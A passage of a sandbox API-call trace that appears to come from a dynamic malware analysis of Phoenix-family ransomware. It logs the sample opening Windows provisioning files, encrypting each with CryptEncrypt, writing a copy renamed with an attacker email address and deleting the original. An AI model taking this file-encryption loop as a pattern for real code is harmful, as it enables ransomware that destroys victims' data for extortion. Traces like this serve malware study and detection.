	[0235.078] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\121__connections_cellular_kidanet (fiji)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0235.078] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\121__connections_cellular_kidanet (fiji)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0235.078] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\121__connections_cellular_kidanet (fiji)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0235.078] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0235.078] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0235.078] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\121__connections_cellular_kidanet (fiji)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0235.079] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151400) returned 1
	[0235.079] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0235.079] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2c0, lpOverlapped=0x0) returned 1
	[0235.124] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0235.124] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0235.125] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1514c0) returned 1
	[0235.125] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0235.125] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0235.125] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0235.125] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0235.125] CryptDestroyKey (hKey=0x151400) returned 1
	[0235.125] CloseHandle (hObject=0x2f4) returned 1
	[0235.125] CloseHandle (hObject=0x2d4) returned 1
	[0235.126] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\121__Connections_Cellular_Kidanet (Fiji)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\121__connections_cellular_kidanet (fiji)_i0$(__mvid)@wap.provxml")) returned 1
	[0235.126] SetEvent (hEvent=0x278) returned 1
	[0235.126] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0235.127] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\122__connections_cellular_vodafone fiji (fiji)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0235.128] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=728) returned 1
	[0235.128] CloseHandle (hObject=0x2d4) returned 1
	[0235.128] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\122__connections_cellular_vodafone fiji (fiji)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0235.128] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\122__connections_cellular_vodafone fiji (fiji)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0235.128] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\122__connections_cellular_vodafone fiji (fiji)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0235.128] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0235.128] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0235.128] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\122__connections_cellular_vodafone fiji (fiji)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0235.129] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151100) returned 1
	[0235.129] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0235.129] ReadFile (in: hFile=0x2d4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2d8, lpOverlapped=0x0) returned 1
	[0235.132] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0235.132] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0235.133] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151440) returned 1
	[0235.133] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0235.133] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0235.133] CryptDestroyKey (hKey=0x151440) returned 1
	[0235.133] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0235.133] CryptDestroyKey (hKey=0x151100) returned 1
	[0235.133] CloseHandle (hObject=0x2d4) returned 1
	[0235.134] CloseHandle (hObject=0x2f4) returned 1
	[0235.134] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\122__Connections_Cellular_Vodafone Fiji (Fiji)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\122__connections_cellular_vodafone fiji (fiji)_i0$(__mvid)@wap.provxml")) returned 1
	[0235.135] SetEvent (hEvent=0x278) returned 1
	[0235.135] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0235.135] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\123__connections_cellular_vodafone fiji (fiji)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0235.136] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=734) returned 1
	[0235.136] CloseHandle (hObject=0x2f4) returned 1
	[0235.138] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\123__connections_cellular_vodafone fiji (fiji)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0235.138] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\123__connections_cellular_vodafone fiji (fiji)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0235.138] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\123__connections_cellular_vodafone fiji (fiji)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0235.138] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0235.138] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0235.138] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\123__connections_cellular_vodafone fiji (fiji)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0235.138] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151400) returned 1
	[0235.138] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0235.138] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2de, lpOverlapped=0x0) returned 1
	[0235.246] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0235.246] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0235.247] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151100) returned 1
	[0235.247] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0235.247] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0235.247] CryptDestroyKey (hKey=0x151100) returned 1
	[0235.247] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0235.247] CryptDestroyKey (hKey=0x151400) returned 1
	[0235.247] CloseHandle (hObject=0x2f4) returned 1
	[0235.247] CloseHandle (hObject=0x2d4) returned 1
	[0235.248] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\123__Connections_Cellular_Vodafone Fiji (Fiji)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\123__connections_cellular_vodafone fiji (fiji)_i1$(__mvid)@wap.provxml")) returned 1
	[0235.249] SetEvent (hEvent=0x278) returned 1
	[0235.249] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0235.249] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\124__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0235.249] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=480) returned 1
	[0235.249] CloseHandle (hObject=0x2d4) returned 1
	[0235.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\124__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0235.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\124__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0235.250] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\124__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0235.250] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0235.250] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0235.250] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\124__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0235.250] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151100) returned 1
	[0235.250] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0235.250] ReadFile (in: hFile=0x2d4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1e0, lpOverlapped=0x0) returned 1
	[0235.251] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1f0, dwBufLen=0x1f0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1f0) returned 1
	[0235.251] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1f0, lpOverlapped=0x0) returned 1
	[0235.252] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1515c0) returned 1
	[0235.252] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0235.252] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90, dwBufLen=0x90 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90) returned 1
	[0235.252] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0235.252] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x142, lpOverlapped=0x0) returned 1
	[0235.253] CryptDestroyKey (hKey=0x151100) returned 1
	[0235.253] CloseHandle (hObject=0x2d4) returned 1
	[0235.253] CloseHandle (hObject=0x2f4) returned 1
	[0235.253] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\124__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\124__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0235.254] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0235.254] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\125__connections_cellular_alands mobiltelefon ab (finland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0235.254] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=724) returned 1
	[0235.255] CloseHandle (hObject=0x2f4) returned 1
	[0235.255] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\125__connections_cellular_alands mobiltelefon ab (finland)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0235.255] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\125__connections_cellular_alands mobiltelefon ab (finland)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0235.255] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\125__connections_cellular_alands mobiltelefon ab (finland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0235.255] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0235.255] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
